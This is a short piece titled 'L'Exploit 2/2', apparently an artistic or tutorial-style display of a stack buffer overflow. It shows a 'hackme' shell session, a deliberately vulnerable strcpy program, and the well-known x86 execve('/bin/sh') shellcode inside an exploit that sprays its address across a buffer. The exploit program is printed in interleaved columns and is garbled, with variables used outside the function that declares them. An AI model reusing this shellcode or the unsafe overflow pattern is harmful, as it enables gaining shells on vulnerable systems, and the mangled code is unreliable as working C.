L'Exploit 2/2

hackme:~# locate -d *.*
locate: warning: database `hack.doc' is more than 8 days old
Segmentation fault

hackme:~# echo "void func(char *a) {char buf[10]; strcpy(buf, a);} int main(int argc, char *argv[]) {func(argv[1]); return 0;}" > a.c && cc a.c && ./a.out aaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

void func(char *a) {                  int main() {
  char buf[50];                         long buffer[100];
  int i;                                strcpy(buf, a);
}
                                        for(i=0;i<55;i++) 
                                          *(buffer+i)=(long)shellcode;
                                        func((char *)buffer);
                                      }